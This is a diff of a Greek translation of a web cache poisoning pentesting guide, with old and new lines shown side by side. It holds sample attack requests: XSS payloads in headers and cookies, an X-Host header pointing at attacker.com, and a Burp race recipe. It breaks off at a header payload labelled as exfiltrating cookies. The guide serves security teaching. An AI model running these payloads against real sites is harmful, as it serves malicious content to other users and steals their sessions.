cache deception**, ο επιτιθέμενος προκαλεί στην εφαρμογή να αποθηκεύσει ευαίσθητο περιεχόμενο που ανήκει σε άλλον χρήστη στην cache, και στη συνέχεια ο επιτιθέμενος ανακτά αυτό το περιεχόμενο από την cache. ## Cache Poisoning -Η δηλητηρίαση της μνήμης cache στοχεύει στη χειραγώγηση της μνήμης cache πλευράς πελάτη για να αναγκάσει τους πελάτες να φορτώσουν πόρους που είναι απροσδόκητοι, μερικοί ή υπό τον έλεγχο ενός επιτιθέμενου. Το εύρος της επίδρασης εξαρτάται από τη δημοτικότητα της επηρεαζόμενης σελίδας, καθώς η μολυσμένη απάντηση σερβίρεται αποκλειστικά σε χρήστες που επισκέπτονται τη σελίδα κατά την περίοδο της μόλυνσης της μνήμης cache. +Cache poisoning στοχεύει στο να χειραγωγήσει την client-side cache ώστε να εξαναγκάσει τους clients να φορτώσουν πόρους που είναι απρόσμενοι, μερικοί ή υπό τον έλεγχο ενός επιτιθέμενου. Η έκταση της επίπτωσης εξαρτάται από τη δημοφιλία της επηρεασμένης σελίδας, καθώς η μολυσμένη response σερβίρεται αποκλειστικά στους χρήστες που επισκέπτονται τη σελίδα κατά τη διάρκεια της περιόδου μόλυνσης της cache. -Η εκτέλεση μιας επίθεσης δηλητηρίασης της μνήμης cache περιλαμβάνει αρκετά βήματα: +Η εκτέλεση μιας επίθεσης cache poisoning περιλαμβάνει αρκετά βήματα: -1. **Ταυτοποίηση Μη Κλειδωμένων Εισόδων**: Αυτές είναι παράμετροι που, αν και δεν απαιτούνται για να αποθηκευτεί ένα αίτημα στη μνήμη cache, μπορούν να αλλάξουν την απάντηση που επιστρέφει ο διακομιστής. Η ταυτοποίηση αυτών των εισόδων είναι κρίσιμη καθώς μπορούν να εκμεταλλευτούν για να χειραγωγήσουν τη μνήμη cache. -2. **Εκμετάλλευση των Μη Κλειδωμένων Εισόδων**: Αφού ταυτοποιηθούν οι μη κλειδωμένες είσοδοι, το επόμενο βήμα περιλαμβάνει την ανακάλυψη του τρόπου κακής χρήσης αυτών των παραμέτρων για να τροποποιηθεί η απάντηση του διακομιστή με τρόπο που να ωφελεί τον επιτιθέμενο. -3. **Διασφάλιση ότι η Μολυσμένη Απάντηση είναι Αποθηκευμένη**: Το τελικό βήμα είναι να διασφαλιστεί ότι η χειραγωγημένη απάντηση αποθηκεύεται στη μνήμη cache. Με αυτόν τον τρόπο, οποιοσδήποτε χρήστης έχει πρόσβαση στη μολυσμένη σελίδα ενώ η μνήμη cache είναι δηλητηριασμένη θα λάβει την μολυσμένη απάντηση. +1. **Identification of Unkeyed Inputs**: Αυτές είναι παράμετροι που, αν και δεν απαιτούνται για να γίνει cache ένα request, μπορούν να αλλάξουν την response που επιστρέφει ο server. Ο εντοπισμός αυτών των inputs είναι κρίσιμος καθώς μπορούν να εκμεταλλευτούν για να χειραγωγήσουν την cache. +2. **Exploitation of the Unkeyed Inputs**: Αφού εντοπιστούν οι unkeyed inputs, το επόμενο βήμα είναι να βρεις πώς να κακοποιήσεις αυτές τις παραμέτρους για να τροποποιήσεις τη response του server με τρόπο ωφέλιμο για τον επιτιθέμενο. +3. **Ensuring the Poisoned Response is Cached**: Το τελικό βήμα είναι να εξασφαλίσεις ότι η χειραγωγημένη response αποθηκεύεται στην cache. Με αυτόν τον τρόπο, οποιοσδήποτε χρήστης προσπελάσει την επηρεασμένη σελίδα ενώ η cache είναι μολυσμένη θα λάβει τη μολυσμένη response. -### Discovery: Check HTTP headers +### Ανακάλυψη: Check HTTP headers -Συνήθως, όταν μια απάντηση έχει **αποθηκευτεί στη μνήμη cache** θα υπάρχει μια **κεφαλίδα που το υποδεικνύει**, μπορείτε να ελέγξετε ποιες κεφαλίδες πρέπει να προσέξετε σε αυτή την ανάρτηση: [**HTTP Cache headers**](../../network-services-pentesting/pentesting-web/special-http-headers.md#cache-headers). +Συνήθως, όταν μια response έχει **αποθηκευτεί στην cache** θα υπάρχει ένα **header που το υποδεικνύει**, μπορείς να ελέγξεις ποια headers πρέπει να προσέξεις σε αυτό το post: [**HTTP Cache headers**](../../network-services-pentesting/pentesting-web/special-http-headers.md#cache-headers). -### Discovery: Caching error codes +### Ανακάλυψη: Caching error codes -Αν σκέφτεστε ότι η απάντηση αποθηκεύεται σε μια μνήμη cache, θα μπορούσατε να προσπαθήσετε να **στείλετε αιτήματα με κακή κεφαλίδα**, η οποία θα πρέπει να απαντηθεί με **κωδικό κατάστασης 400**. Στη συνέχεια, προσπαθήστε να αποκτήσετε πρόσβαση στο αίτημα κανονικά και αν η **απάντηση είναι κωδικός κατάστασης 400**, ξέρετε ότι είναι ευάλωτο (και θα μπορούσατε ακόμη και να εκτελέσετε μια DoS). +Αν νομίζεις ότι η response αποθηκεύεται σε cache, μπορείς να δοκιμάσεις να **send requests with a bad header**, τα οποία θα πρέπει να απαντηθούν με **status code 400**. Έπειτα δοκίμασε να προσπελάσεις το request κανονικά και αν η **response είναι status code 400**, ξέρεις ότι είναι ευάλωτο (και θα μπορούσες ακόμα και να εκτελέσεις ένα DoS). + +Μπορείς να βρεις περισσότερες επιλογές στο: -Μπορείτε να βρείτε περισσότερες επιλογές σε: {{#ref}} cache-poisoning-to-dos.md {{#endref}} -Ωστόσο, σημειώστε ότι **μερικές φορές αυτοί οι τύποι κωδικών κατάστασης δεν αποθηκεύονται** οπότε αυτή η δοκιμή μπορεί να μην είναι αξιόπιστη. +Ωστόσο, σημείωσε ότι **μερικές φορές αυτού του είδους οι status codes δεν αποθηκεύονται στην cache**, οπότε αυτό το τεστ μπορεί να μην είναι αξιόπιστο. -### Discovery: Identify and evaluate unkeyed inputs +### Ανακάλυψη: Identify and evaluate unkeyed inputs -Θα μπορούσατε να χρησιμοποιήσετε [**Param Miner**](https://portswigger.net/bappstore/17d2949a985c4b7ca092728dba871943) για να **επιτεθείτε σε παραμέτρους και κεφαλίδες** που μπορεί να **αλλάζουν την απάντηση της σελίδας**. Για παράδειγμα, μια σελίδα μπορεί να χρησιμοποιεί την κεφαλίδα `X-Forwarded-For` για να υποδείξει στον πελάτη να φορτώσει το σενάριο από εκεί: +Μπορείς να χρησιμοποιήσεις [**Param Miner**](https://portswigger.net/bappstore/17d2949a985c4b7ca092728dba871943) για να **brute-force parameters and headers** που μπορεί να **αλλάζουν την response της σελίδας**. Για παράδειγμα, μια σελίδα μπορεί να χρησιμοποιεί το header `X-Forwarded-For` για να υποδείξει στον client να φορτώσει το script από εκεί: ```html ``` -### Εξαγωγή μιας επιβλαβούς απάντησης από τον διακομιστή back-end +### Elicit a harmful response from the back-end server -Με την παράμετρο/κεφαλίδα που έχει εντοπιστεί, ελέγξτε πώς **καθαρίζεται** και **πού** **αντικατοπτρίζεται** ή επηρεάζει την απάντηση από την κεφαλίδα. Μπορείτε να το εκμεταλλευτείτε με οποιονδήποτε τρόπο (να εκτελέσετε XSS ή να φορτώσετε έναν κωδικό JS που ελέγχετε; να εκτελέσετε DoS;...) +Μετά τον εντοπισμό της παράμετρου/κεφαλίδας, ελέγξτε πώς **φιλτράρεται** και **πού** **αντανακλάται** ή επηρεάζει την απόκριση από την κεφαλίδα. Μπορείτε να το καταχραστείτε (εκτελέσετε XSS ή φορτώσετε JS που ελέγχετε; προκαλέσετε DoS;...) -### Λάβετε την απάντηση που έχει αποθηκευτεί στην κρυφή μνήμη +### Get the response cached -Αφού έχετε **εντοπίσει** τη **σελίδα** που μπορεί να εκμεταλλευτεί, ποια **παράμετρος**/**κεφαλίδα** να χρησιμοποιήσετε και **πώς** να την **εκμεταλλευτείτε**, πρέπει να λάβετε τη σελίδα που έχει αποθηκευτεί στην κρυφή μνήμη. Ανάλογα με τον πόρο που προσπαθείτε να αποθηκεύσετε στην κρυφή μνήμη, αυτό μπορεί να πάρει κάποιο χρόνο, ίσως χρειαστεί να προσπαθήσετε για αρκετά δευτερόλεπτα. +Μόλις έχετε **εντοπίσει** τη **σελίδα** που μπορεί να καταχραστεί, ποια **παράμετρος**/**κεφαλίδα** να χρησιμοποιήσετε και **πώς** να την **καταχραστείτε**, πρέπει να βάλετε τη σελίδα στην cache. Ανάλογα με τον πόρο που προσπαθείτε να βάλτε στην cache αυτό μπορεί να πάρει λίγο χρόνο, ίσως χρειαστεί να προσπαθείτε για αρκετά δευτερόλεπτα. -Η κεφαλίδα **`X-Cache`** στην απάντηση μπορεί να είναι πολύ χρήσιμη καθώς μπορεί να έχει την τιμή **`miss`** όταν το αίτημα δεν έχει αποθηκευτεί στην κρυφή μνήμη και την τιμή **`hit`** όταν είναι αποθηκευμένο.\ -Η κεφαλίδα **`Cache-Control`** είναι επίσης ενδιαφέρον να γνωρίζετε αν ένας πόρος αποθηκεύεται στην κρυφή μνήμη και πότε θα είναι η επόμενη φορά που ο πόρος θα αποθηκευτεί ξανά: `Cache-Control: public, max-age=1800` +Η κεφαλίδα **`X-Cache`** στην απόκριση μπορεί να είναι πολύ χρήσιμη καθώς μπορεί να έχει την τιμή **`miss`** όταν το request δεν είχε cache και την τιμή **`hit`** όταν είναι cached.\ +Η κεφαλίδα **`Cache-Control`** είναι επίσης ενδιαφέρουσα για να γνωρίζετε αν ένας resource cacheάρεται και πότε θα γίνει η επόμενη cache: `Cache-Control: public, max-age=1800` -Μια άλλη ενδιαφέρουσα κεφαλίδα είναι η **`Vary`**. Αυτή η κεφαλίδα χρησιμοποιείται συχνά για να **υποδείξει πρόσθετες κεφαλίδες** που θεωρούνται **μέρος του κλειδιού της κρυφής μνήμης** ακόμη και αν κανονικά δεν είναι κλειδωμένες. Επομένως, αν ο χρήστης γνωρίζει το `User-Agent` του θύματος που στοχεύει, μπορεί να δηλητηριάσει την κρυφή μνήμη για τους χρήστες που χρησιμοποιούν αυτό το συγκεκριμένο `User-Agent`. +Μια ακόμα ενδιαφέρουσα κεφαλίδα είναι η **`Vary`**. Αυτή η κεφαλίδα συχνά χρησιμοποιείται για να **υποδείξει επιπλέον κεφαλίδες** που θεωρούνται **μέρος του cache key** ακόμα κι αν συνήθως δεν είναι keyed. Επομένως, αν ο χρήστης γνωρίζει το `User-Agent` του θύματος που στοχεύει, μπορεί να poison the cache για τους χρήστες που χρησιμοποιούν αυτό το συγκεκριμένο `User-Agent`. -Μια ακόμη κεφαλίδα σχετική με την κρυφή μνήμη είναι η **`Age`**. Ορίζει τον χρόνο σε δευτερόλεπτα που το αντικείμενο έχει παραμείνει στην κρυφή μνήμη του διακομιστή μεσολάβησης. +Άλλη μία κεφαλίδα σχετική με την cache είναι η **`Age`**. Ορίζει τον χρόνο σε δευτερόλεπτα που το αντικείμενο βρίσκεται στην proxy cache. -Όταν αποθηκεύετε ένα αίτημα στην κρυφή μνήμη, να είστε **προσεκτικοί με τις κεφαλίδες που χρησιμοποιείτε** γιατί μερικές από αυτές μπορεί να **χρησιμοποιηθούν απροσδόκητα** ως **κλειδωμένες** και το **θύμα θα χρειαστεί να χρησιμοποιήσει αυτή την ίδια κεφαλίδα**. Πάντα **δοκιμάστε** μια δηλητηρίαση κρυφής μνήμης με **διαφορετικούς περιηγητές** για να ελέγξετε αν λειτουργεί. +Όταν κάνετε cache ένα request, να είστε **προσεκτικοί με τις κεφαλίδες που χρησιμοποιείτε** γιατί μερικές απ' αυτές θα μπορούσαν να **χρησιμοποιηθούν απροσδόκητα** ως **μέρος του cache key** και το **θύμα θα χρειαστεί να χρησιμοποιήσει την ίδια κεφαλίδα**. Πάντα **δοκιμάζετε** ένα Cache Poisoning με **διαφορετικά προγράμματα περιήγησης** για να ελέγξετε αν λειτουργεί. -## Παραδείγματα Εκμετάλλευσης +## Exploiting Examples -### Ευκολότερο παράδειγμα +### Easiest example -Μια κεφαλίδα όπως το `X-Forwarded-For` αντικατοπτρίζεται στην απάντηση χωρίς καθαρισμό.\ -Μπορείτε να στείλετε ένα βασικό payload XSS και να δηλητηριάσετε την κρυφή μνήμη ώστε όλοι όσοι έχουν πρόσβαση στη σελίδα να υποστούν XSS: +Μια κεφαλίδα όπως η `X-Forwarded-For` αντανακλάται στην απόκριση χωρίς φιλτράρισμα.\ +Μπορείτε να στείλετε ένα βασικό XSS payload και poison the cache ώστε όποιος επισκέπτεται τη σελίδα να υποστεί XSS: ```html GET /en?region=uk HTTP/1.1 Host: innocent-website.com X-Forwarded-Host: a.">" ``` -_Σημειώστε ότι αυτό θα δηλητηριάσει ένα αίτημα προς `/en?region=uk` και όχι προς `/en`_ +_Σημειώστε ότι αυτό θα poison ένα request προς `/en?region=uk` και όχι προς `/en`_ + +### Cache poisoning to DoS -### Δηλητηρίαση cache για DoS {{#ref}} cache-poisoning-to-dos.md {{#endref}} -### Δηλητηρίαση cache μέσω CDNs +### Cache poisoning through CDNs -Στο **[αυτό το writeup](https://nokline.github.io/bugbounty/2024/02/04/ChatGPT-ATO.html)** εξηγείται το εξής απλό σενάριο: +Στο **[this writeup](https://nokline.github.io/bugbounty/2024/02/04/ChatGPT-ATO.html)** εξηγείται το ακόλουθο απλό σενάριο: -- Ο CDN θα αποθηκεύσει οτιδήποτε βρίσκεται κάτω από `/share/` -- Ο CDN ΔΕΝ θα αποκωδικοποιήσει ούτε θα κανονικοποιήσει το `%2F..%2F`, επομένως, μπορεί να χρησιμοποιηθεί ως **path traversal για πρόσβαση σε άλλες ευαίσθητες τοποθεσίες που θα αποθηκευτούν** όπως `https://chat.openai.com/share/%2F..%2Fapi/auth/session?cachebuster=123` -- Ο web server ΘΑ αποκωδικοποιήσει και θα κανονικοποιήσει το `%2F..%2F`, και θα απαντήσει με `/api/auth/session`, το οποίο **περιέχει το auth token**. +- Το CDN θα αποθηκεύει στην cache οτιδήποτε κάτω από `/share/` +- Το CDN ΔΕΝ θα αποκωδικοποιήσει ούτε θα κανονικοποιήσει το `%2F..%2F`, επομένως μπορεί να χρησιμοποιηθεί ως **path traversal to access other sensitive locations that will be cached** όπως `https://chat.openai.com/share/%2F..%2Fapi/auth/session?cachebuster=123` +- Ο web server ΘΑ αποκωδικοποιήσει και θα κανονικοποιήσει το `%2F..%2F`, και θα απαντήσει με `/api/auth/session`, το οποίο **contains the auth token**. -### Χρήση δηλητηρίασης web cache για εκμετάλλευση ευπαθειών διαχείρισης cookies +### Using web cache poisoning to exploit cookie-handling vulnerabilities -Τα cookies θα μπορούσαν επίσης να ανακλώνται στην απάντηση μιας σελίδας. Αν μπορείτε να το εκμεταλλευτείτε για να προκαλέσετε XSS, για παράδειγμα, θα μπορούσατε να είστε σε θέση να εκμεταλλευτείτε XSS σε αρκετούς πελάτες που φορτώνουν την κακόβουλη απάντηση cache. +Τα Cookies μπορούν επίσης να αντανακλώνται στην απόκριση μιας σελίδας. Αν μπορείτε να το εκμεταλλευτείτε για να προκαλέσετε, για παράδειγμα, μια XSS, θα μπορούσατε να εκμεταλλευτείτε την XSS σε αρκετούς clients που φορτώνουν την κακόβουλη απόκριση της cache. ```html GET / HTTP/1.1 Host: vulnerable.com Cookie: session=VftzO7ZtiBj5zNLRAuFpXpSQLjS4lBmU; fehost=asd"%2balert(1)%2b" ``` -Σημειώστε ότι αν το ευάλωτο cookie χρησιμοποιείται πολύ από τους χρήστες, οι κανονικές αιτήσεις θα καθαρίζουν την cache. +Σημειώστε ότι αν το ευάλωτο cookie χρησιμοποιείται πολύ από τους χρήστες, τα τακτικά αιτήματα θα καθαρίζουν το cache. -### Δημιουργία διαφορών με διαχωριστικά, κανονικοποίηση και τελείες +### Generating discrepancies with delimiters, normalization and dots + +Δείτε: -Ελέγξτε: {{#ref}} cache-poisoning-via-url-discrepancies.md {{#endref}} -### Δηλητηρίαση cache με διαδρομή traversal για κλοπή API key +### Cache poisoning με path traversal για να κλέψετε API key -[**Αυτή η αναφορά εξηγεί**](https://nokline.github.io/bugbounty/2024/02/04/ChatGPT-ATO.html) πώς ήταν δυνατό να κλέψετε ένα OpenAI API key με μια διεύθυνση URL όπως `https://chat.openai.com/share/%2F..%2Fapi/auth/session?cachebuster=123` επειδή οτιδήποτε ταιριάζει με `/share/*` θα αποθηκευτεί στην cache χωρίς την κανονικοποίηση της διεύθυνσης URL από το Cloudflare, κάτι που έγινε όταν η αίτηση έφτασε στον web server. +[**This writeup explains**](https://nokline.github.io/bugbounty/2024/02/04/ChatGPT-ATO.html) πώς ήταν δυνατό να κλαπεί ένα OpenAI API key με ένα URL όπως `https://chat.openai.com/share/%2F..%2Fapi/auth/session?cachebuster=123` επειδή οτιδήποτε που ταιριάζει με `/share/*` θα αποθηκεύεται στο cache χωρίς το Cloudflare να ομαλοποιεί το URL, κάτι που γινόταν όταν το αίτημα έφτανε στον web server. + +Αυτό εξηγείται καλύτερα και στο: -Αυτό εξηγείται επίσης καλύτερα σε: {{#ref}} cache-poisoning-via-url-discrepancies.md {{#endref}} -### Χρήση πολλαπλών κεφαλίδων για εκμετάλλευση ευπαθειών δηλητηρίασης cache +### Using multiple headers to exploit web cache poisoning vulnerabilities -Μερικές φορές θα χρειαστεί να **εκμεταλλευτείτε αρκετές μη κλειδωμένες εισόδους** για να μπορέσετε να καταχραστείτε μια cache. Για παράδειγμα, μπορεί να βρείτε μια **Ανοιχτή ανακατεύθυνση** αν ορίσετε το `X-Forwarded-Host` σε ένα domain που ελέγχετε και το `X-Forwarded-Scheme` σε `http`. **Αν** ο **server** **προωθεί** όλα τα **HTTP** αιτήματα **σε HTTPS** και χρησιμοποιεί την κεφαλίδα `X-Forwarded-Scheme` ως το όνομα του domain για την ανακατεύθυνση. Μπορείτε να ελέγξετε πού δείχνει η σελίδα μέσω της ανακατεύθυνσης. +Μερικές φορές θα χρειαστεί να **exploit several unkeyed inputs** για να μπορέσετε να καταχραστείτε το cache. Για παράδειγμα, μπορεί να βρείτε ένα **Open redirect** αν ορίσετε το `X-Forwarded-Host` σε ένα domain που ελέγχετε και το `X-Forwarded-Scheme` σε `http`. **Αν** ο **server** **προωθεί** όλα τα **HTTP** αιτήματα **σε HTTPS** και χρησιμοποιεί την κεφαλίδα `X-Forwarded-Scheme` ως το domain name για την ανακατεύθυνση, μπορείτε να ελέγξετε προς ποια διεύθυνση δείχνει η σελίδα μέσω της ανακατεύθυνσης. ```html GET /resources/js/tracking.js HTTP/1.1 Host: acc11fe01f16f89c80556c2b0056002e.web-security-academy.net X-Forwarded-Host: ac8e1f8f1fb1f8cb80586c1d01d500d3.web-security-academy.net/ X-Forwarded-Scheme: http ``` -### Εκμετάλλευση με περιορισμένο `Vary` header +### Εκμετάλλευση με περιορισμένο `Vary`header -Αν διαπιστώσετε ότι το **`X-Host`** header χρησιμοποιείται ως **όνομα τομέα για τη φόρτωση ενός JS πόρου** αλλά το **`Vary`** header στην απάντηση υποδεικνύει **`User-Agent`**. Τότε, πρέπει να βρείτε έναν τρόπο να εξάγετε το User-Agent του θύματος και να δηλητηριάσετε την cache χρησιμοποιώντας αυτό το user agent: +Αν διαπιστώσεις ότι το **`X-Host`** header χρησιμοποιείται ως **όνομα domain για τη φόρτωση ενός JS resource** αλλά το **`Vary`** header στην απάντηση υποδεικνύει **`User-Agent``. Τότε χρειάζεται να βρεις τρόπο να exfiltrate τον `User-Agent` του victim και να poison την cache χρησιμοποιώντας αυτόν τον user agent: ```html GET / HTTP/1.1 Host: vulnerbale.net @@ -133,7 +137,7 @@ X-Host: attacker.com ``` ### Fat Get -Στείλτε ένα GET αίτημα με το αίτημα στο URL και στο σώμα. Αν ο web server χρησιμοποιεί αυτό από το σώμα αλλά ο cache server αποθηκεύει αυτό από το URL, οποιοσδήποτε έχει πρόσβαση σε αυτό το URL θα χρησιμοποιήσει στην πραγματικότητα την παράμετρο από το σώμα. Όπως η ευπάθεια που βρήκε ο James Kettle στον ιστότοπο του Github: +Στείλε ένα GET αίτημα με τα δεδομένα τόσο στο URL όσο και στο σώμα. Αν ο web server χρησιμοποιεί αυτά από το σώμα, αλλά ο cache server κάνει cache αυτά από το URL, οποιοσδήποτε που προσπελάσει αυτό το URL θα χρησιμοποιήσει στην πραγματικότητα την παράμετρο από το σώμα. Όπως το vuln που βρήκε ο James Kettle στο Github: ``` GET /contact/report-abuse?report=albinowax HTTP/1.1 Host: github.com @@ -142,39 +146,39 @@ Content-Length: 22 report=innocent-victim ``` -There it a portswigger lab about this: [https://portswigger.net/web-security/web-cache-poisoning/exploiting-implementation-flaws/lab-web-cache-poisoning-fat-get](https://portswigger.net/web-security/web-cache-poisoning/exploiting-implementation-flaws/lab-web-cache-poisoning-fat-get) +Υπάρχει ένα PortSwigger lab γι' αυτό: [https://portswigger.net/web-security/web-cache-poisoning/exploiting-implementation-flaws/lab-web-cache-poisoning-fat-get](https://portswigger.net/web-security/web-cache-poisoning/exploiting-implementation-flaws/lab-web-cache-poisoning-fat-get) ### Parameter Cloacking -Για παράδειγμα, είναι δυνατόν να διαχωρίσετε **παραμέτρους** σε διακομιστές ruby χρησιμοποιώντας τον χαρακτήρα **`;`** αντί για **`&`**. Αυτό θα μπορούσε να χρησιμοποιηθεί για να τοποθετήσετε τις τιμές παραμέτρων χωρίς κλειδί μέσα σε αυτές με κλειδί και να τις εκμεταλλευτείτε. +Για παράδειγμα, είναι δυνατόν να διαχωριστούν οι **parameters** σε ruby servers χρησιμοποιώντας τον χαρακτήρα **`;`** αντί για **`&`**. Αυτό μπορεί να χρησιμοποιηθεί για να τοποθετήσετε τιμές μη-κλειδωμένων parameters μέσα σε κλειδωμένα και να τα εκμεταλλευτείτε. Portswigger lab: [https://portswigger.net/web-security/web-cache-poisoning/exploiting-implementation-flaws/lab-web-cache-poisoning-param-cloaking](https://portswigger.net/web-security/web-cache-poisoning/exploiting-implementation-flaws/lab-web-cache-poisoning-param-cloaking) ### Exploiting HTTP Cache Poisoning by abusing HTTP Request Smuggling -Μάθετε εδώ πώς να εκτελέσετε [Cache Poisoning attacks by abusing HTTP Request Smuggling](../http-request-smuggling/index.html#using-http-request-smuggling-to-perform-web-cache-poisoning). +Μάθετε εδώ πώς να πραγματοποιήσετε [Cache Poisoning attacks by abusing HTTP Request Smuggling](../http-request-smuggling/index.html#using-http-request-smuggling-to-perform-web-cache-poisoning). ### Automated testing for Web Cache Poisoning -Ο [Web Cache Vulnerability Scanner](https://github.com/Hackmanit/Web-Cache-Vulnerability-Scanner) μπορεί να χρησιμοποιηθεί για αυτόματη δοκιμή για web cache poisoning. Υποστηρίζει πολλές διαφορετικές τεχνικές και είναι πολύ παραμετροποιήσιμος. +Το [Web Cache Vulnerability Scanner](https://github.com/Hackmanit/Web-Cache-Vulnerability-Scanner) μπορεί να χρησιμοποιηθεί για αυτόματο έλεγχο για web cache poisoning. Υποστηρίζει πολλές διαφορετικές τεχνικές και είναι ιδιαίτερα παραμετροποιήσιμο. Example usage: `wcvs -u example.com` ### Header-reflection XSS + CDN/WAF-assisted cache seeding (User-Agent, auto-cached .js) -Αυτό το πραγματικό μοτίβο αλυσίδωει μια βασισμένη σε κεφαλίδα ανακλαστική πρωτοβουλία με τη συμπεριφορά CDN/WAF για να δηλητηριάσει αξιόπιστα το cached HTML που σερβίρεται σε άλλους χρήστες: +Αυτό το μοτίβο από πραγματικά περιβάλλοντα συνδέει ένα header-based reflection primitive με τη συμπεριφορά ενός CDN/WAF για να δηλητηριάσει αξιόπιστα το cached HTML που σερβίρεται σε άλλους χρήστες: -- Το κύριο HTML αντανάκλασε μια μη αξιόπιστη κεφαλίδα αιτήματος (π.χ., `User-Agent`) σε εκτελέσιμο πλαίσιο. -- Ο CDN αφαίρεσε τις κεφαλίδες cache αλλά υπήρχε μια εσωτερική/προέλευσης cache. Ο CDN επίσης αυτο-καταχώρισε αιτήματα που τελείωναν σε στατικές επεκτάσεις (π.χ., `.js`), ενώ ο WAF εφαρμοζε ασθενέστερη επιθεώρηση περιεχομένου σε GETs για στατικά περιουσιακά στοιχεία. -- Οι ιδιορρυθμίες ροής αιτήσεων επέτρεψαν σε ένα αίτημα σε μια διαδρομή `.js` να επηρεάσει το κλειδί/παραλλαγή cache που χρησιμοποιήθηκε για το επόμενο κύριο HTML, επιτρέποντας cross-user XSS μέσω ανακλαστικής κεφαλίδας. +- Το κύριο HTML αντέστρεφε ένα μη-έμπιστο request header (π.χ., `User-Agent`) σε εκτελέσιμο context. +- Το CDN αφαίρεσε τα cache headers αλλά υπήρχε εσωτερικό/origin cache. Το CDN επίσης auto-cached requests που τελειώνουν σε static extensions (π.χ., `.js`), ενώ το WAF εφάρμοζε ασθενέστερο content inspection για GETs στα static assets. +- Ατέλειες στη ροή των requests επέτρεψαν σε ένα αίτημα προς μονοπάτι `.js` να επηρεάσει το cache key/variant που χρησιμοποιήθηκε για το επόμενο main HTML, επιτρέποντας cross-user XSS μέσω header reflection. Practical recipe (observed across a popular CDN/WAF): -1) Από μια καθαρή IP (αποφύγετε τις προηγούμενες υποβαθμίσεις βάσει φήμης), ορίστε ένα κακόβουλο `User-Agent` μέσω του προγράμματος περιήγησης ή του Burp Proxy Match & Replace. -2) Στο Burp Repeater, προετοιμάστε μια ομάδα δύο αιτημάτων και χρησιμοποιήστε "Send group in parallel" (λειτουργία single-packet λειτουργεί καλύτερα): -- Πρώτο αίτημα: GET μια διαδρομή πόρου `.js` στην ίδια προέλευση ενώ στέλνετε το κακόβουλο `User-Agent` σας. -- Άμεσα μετά: GET την κύρια σελίδα (`/`). -3) Ο αγώνας δρομολόγησης CDN/WAF συν το αυτο-καταχωρημένο `.js` συχνά σπέρνει μια δηλητηριασμένη παραλλαγή cached HTML που στη συνέχεια σερβίρεται σε άλλους επισκέπτες που μοιράζονται τις ίδιες συνθήκες κλειδιού cache (π.χ., ίδιες διαστάσεις `Vary` όπως `User-Agent`). +1) Από ένα clean IP (αποφύγετε προηγούμενες ποινές βάσει reputation), ορίστε ένα malicious `User-Agent` μέσω browser ή Burp Proxy Match & Replace. +2) Στο Burp Repeater, προετοιμάστε ένα group δύο requests και χρησιμοποιήστε "Send group in parallel" (το single-packet mode δουλεύει καλύτερα): +- First request: GET a `.js` resource path on the same origin while sending your malicious `User-Agent`. +- Immediately after: GET the main page (`/`). +3) Ο αγώνας δρομολόγησης CDN/WAF μαζί με το auto-cached `.js` συχνά σπέρνει ένα poisoned cached HTML variant που στη συνέχεια σερβίρεται σε άλλους επισκέπτες που μοιράζονται τις ίδιες συνθήκες cache key (π.χ., ίδιες `Vary` διαστάσεις όπως `User-Agent`). Example header payload (to exfiltrate non-HttpOnly cookies): ``` @@ -182,86 +186,101 @@ User-Agent: Mo00ozilla/5.0